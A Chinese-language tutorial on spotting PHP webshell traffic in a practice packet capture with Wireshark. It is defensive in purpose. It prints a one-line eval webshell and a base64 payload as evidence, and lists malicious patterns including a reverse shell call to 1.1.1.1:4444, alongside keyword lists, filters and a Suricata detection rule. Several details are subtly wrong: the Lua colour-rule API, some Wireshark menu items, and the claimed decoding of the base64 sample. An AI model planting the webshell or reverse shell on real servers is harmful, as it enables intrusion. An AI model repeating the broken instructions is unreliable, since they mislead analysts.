1. 项目概述:Webshell流量分析实战入门
去年处理某次安全事件时,我在服务器日志中发现异常访问记录,通过Wireshark抓包分析最终定位到一个伪装成图片上传接口的Webshell。这次经历让我意识到,流量分析是检测Webshell最直接有效的手段之一。本文将基于真实攻防演练中的流量包(Practice1.pcap),带你掌握Webshell通信的特征识别技巧。
Webshell通常通过文件上传漏洞植入服务器,攻击者利用其作为持久化控制通道。与传统恶意软件不同,Webshell的流量往往混杂在正常HTTP请求中,需要分析者具备协议解析和异常检测能力。通过本案例,你将学会:
- 使用Wireshark过滤HTTP可疑流量
- 识别Webshell的常见通信模式
- 分析异常状态码和URL结构
- 提取关键攻击载荷
提示:本文使用的pcap文件已去除敏感信息,相关IP和域名均为模拟环境数据。
2. 分析环境准备与工具配置
2.1 基础工具链搭建
我推荐使用以下工具组合进行流量分析:
- Wireshark 4.0+(主分析工具)
- Tshark(命令行版Wireshark)
- NetworkMiner(辅助提取文件)
- Python+Scapy(自定义分析脚本)
在Ubuntu 22.04上的安装命令:
sudo apt install wireshark tshark wget https://www.netresec.com/download/NetworkMiner_2-8-1.zip unzip NetworkMiner_2-8-1.zip2.2 Wireshark关键配置
打开Wireshark后需进行三项关键设置:
- 在"Edit > Preferences"中启用"TCP: Allow subdissector to reassemble TCP streams"
- 在"Statistics > HTTP"中勾选"Enable HTTP/2 and HTTP/3 analysis"
- 添加自定义着色规则(检测到"eval("、"base64_decode"等关键词时高亮显示)
配置文件示例:
-- 保存为webshell_colors.lua local dangerous_patterns = { "eval\(", "system\(", "passthru\(", "base64_decode\(" } for _, pattern in ipairs(dangerous_patterns) do local rule = { name=pattern, filter=pattern, color=0xff0000 } register_color_filter_rule(rule) end3. 流量捕获与初步过滤
3.1 关键过滤语法
针对Webshell分析,这些Wireshark显示过滤器最实用:
http.request.method == "POST" # 重点检查POST请求 http contains "eval" # 查找危险函数 http.content_type == "application/x-www-form-urlencoded" frame contains "password" # 搜索敏感字段 http.response.code == 500 # 异常状态码3.2 案例实操:定位可疑流量
加载Practice1.pcap后,按以下步骤操作:
- 首先应用基础过滤器:
http && ip.dst == 192.168.1.100 - 在Statistics > HTTP > Requests中查看所有请求路径
- 发现异常URL:
/upload.php?type=image(实际Content-Type是text/plain) - 右键选择"Follow > HTTP Stream"查看完整对话
关键发现:
POST /upload.php?type=image HTTP/1.1 Content-Type: text/plain # 异常点1:伪装图片上传 ... <?php @eval($_POST['cmd']);?> # 关键证据:Webshell代码4. Webshell流量特征深度解析
4.1 协议层异常特征
通过对比正常流量,Webshell通信通常呈现以下特征:
| 检测维度 | 正常流量 | Webshell流量 |
|---|---|---|
| Content-Length | 与业务匹配 | 异常小(<100B)或异常大 |
| User-Agent | 浏览器标识 | 空值/Curl/Python等工具标识 |
| 请求时间 | 工作时间段 | 凌晨等非工作时间 |
| 参数编码 | 标准URL编码 | 多重Base64/Hex编码 |
4.2 载荷分析技巧
发现可疑POST请求后,需要解码参数内容:
- 在Wireshark中选中http流
- 使用Tools > Base64 Decode功能
- 或通过Python手动解码:
import base64 payload = "JTNDcGhwJTIwQGV2YWwoJF9QT1NUJTVCJ2NtZCU1RCUyOSUzQg==" print(base64.b64decode(payload).decode('utf-8')) # 输出:<?php @eval($_POST['cmd']);?>典型恶意代码模式:
- 动态函数调用:
$func = "system"; $func("whoami"); - 混淆加密:
gzinflate(base64_decode("xxx")) - 反连Shell:
fsockopen("1.1.1.1", 4444)
5. 高级分析技术
5.1 时间轴异常检测
Webshell通信往往呈现固定时间间隔的心跳特征:
- 在Wireshark中选择Statistics > IO Graphs
- 设置Y轴为"Packets/tick",X轴间隔60秒
- 观察是否存在规律的周期性小包
5.2 文件提取技术
当Webshell用于文件窃取时:
- 使用File > Export Objects > HTTP
- 或通过NetworkMiner的Files标签页
- 重点关注.php/.jsp/.asp等可执行文件
对于分块传输的文件:
tshark -r practice1.pcap -Y "http.content_type contains 'octet-stream'" --export-objects http,./output6. 防御对抗与痕迹清理
6.1 Webshell检测方案
基于流量特征的检测规则示例(Suricata规则):
alert http any any -> $HOME_NET any ( msg:"Webshell detected - eval function"; flow:established,to_server; content:"eval"; nocase; http_client_body; metadata:service http; classtype:web-application-attack; sid:1000001; )6.2 日志关联分析
将流量分析与服务器日志交叉验证:
# Nginx日志示例 grep 'POST /upload.php' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c关键检查点:
- 非常规时间段的文件创建
- 同一IP短时间内多个404请求后出现200
- 异常的User-Agent与文件操作组合
7. 实战经验总结
在分析Practice1.pcap过程中,有几个容易忽略的细节值得注意:
- Content-Type欺骗:攻击者将text/php伪装成image/jpeg,但实际传输的是代码
- 参数名规律:常见Webshell使用"cmd"、"code"等固定参数名
- 响应延迟:执行系统命令的请求通常伴随300-500ms的响应延迟
建议建立自己的特征库,记录以下信息:
- 常见Webshell的URL模式(如包含"upload"、"image"等中性词汇)
- 高危函数列表(eval、system、shell_exec等)
- 异常HTTP头组合(如Accept与Content-Type不匹配)
最后分享一个快速检测技巧:在Wireshark中搜索http matches "[\\\\x80-\\\\xff]"可以快速定位包含非ASCII字符的可疑请求,这类请求往往包含混淆代码。